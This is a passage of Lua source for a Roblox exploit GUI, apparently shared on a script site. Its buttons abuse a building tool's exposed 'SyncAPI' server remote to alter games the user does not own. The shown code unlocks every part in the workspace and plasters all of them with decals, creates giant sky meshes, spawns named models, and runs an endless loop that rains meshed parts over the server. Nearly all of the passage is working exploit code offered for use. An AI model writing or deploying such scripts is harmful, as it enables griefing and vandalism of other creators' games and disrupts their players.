				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("77695565531189")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.54, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Decal 3"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("77695565531189")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.58, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "muscle man sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("114286376453289")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.58, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "muscle man decal"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("114286376453289")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.58, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "spawn krusty krab"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Krab(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,18,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Blue2spookys Krusty Krab")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"2180383639")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(1,1,1))
						SetLocked(v,true)
					end
				end
			end
			Krab("98314626230473")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.58, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "raining blue2spooky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- DO NOT DELETE THIS LEAVE MY CREDIT
	
			-- Rain Toad Script By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function SetCollision(part, boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
	
			function SetAnchor(boolean, part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function CreatePart(cf)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = workspace
				}
				_(args)
			end
	
			function Resize(part, size, cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://" .. texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
				_(args)
			end
	
			function Sky(id)
				local hrp = char:WaitForChild("HumanoidRootPart")
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
						SetAnchor(true, v)
						AddMesh(v)
						SetMesh(v, "14832966960")
						SetTexture(v, id)
						MeshResize(v, Vector3.new(0, 0, 0))
					end
				end
			end
	
			local function createRainToads()
				while true do
					wait(0.01) -- Here they change the appearance time of the Toads or other meshes
					if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
						local hrpcf = player.Character.HumanoidRootPart.CFrame
						local x = hrpcf.x
						local z = hrpcf.z
						local randint = math.random(-600, 600)
						local randint2 = math.random(-600, 600)
						local xloc = randint + x
						local zloc = randint2 + z
						local cf = player.Character.HumanoidRootPart.CFrame.y + 400
	
						spawn(function()
							local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
							for i, v in game.Workspace:GetDescendants() do
								if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
									SetName(v, "ITS RAINING MEN!") -- Here the name of the toad changes
									SetAnchor(false, v)
									AddMesh(v)
									Resize(v, Vector3.new(50, 50, 30), v.CFrame)
									MeshResize(v, Vector3.new(0.5, 0.5, 0.5))
									SetMesh(v, "1347582902") -- Here put it A custom mesh
									SetTexture(v, "136908235065727") -- X2
									SetCollision(v, false)
									v.Orientation = Vector3.new(0, 0, 0)
	
									v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
	
									local sound = Instance.new("Sound", v)
									sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
									sound.Volume = 0
									sound.PlayOnRemove = true
									sound:Destroy()
								end
							end
						end)
					else
						wait(1)
					end
				end
			end
	
			coroutine.wrap(createRainToads)()
	
			Sky("95921788891849") -- Here they change the skybox id
	
			-- Delete this if you are going to Use it in another script
	
			-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.62, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "blue2spooky statue"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
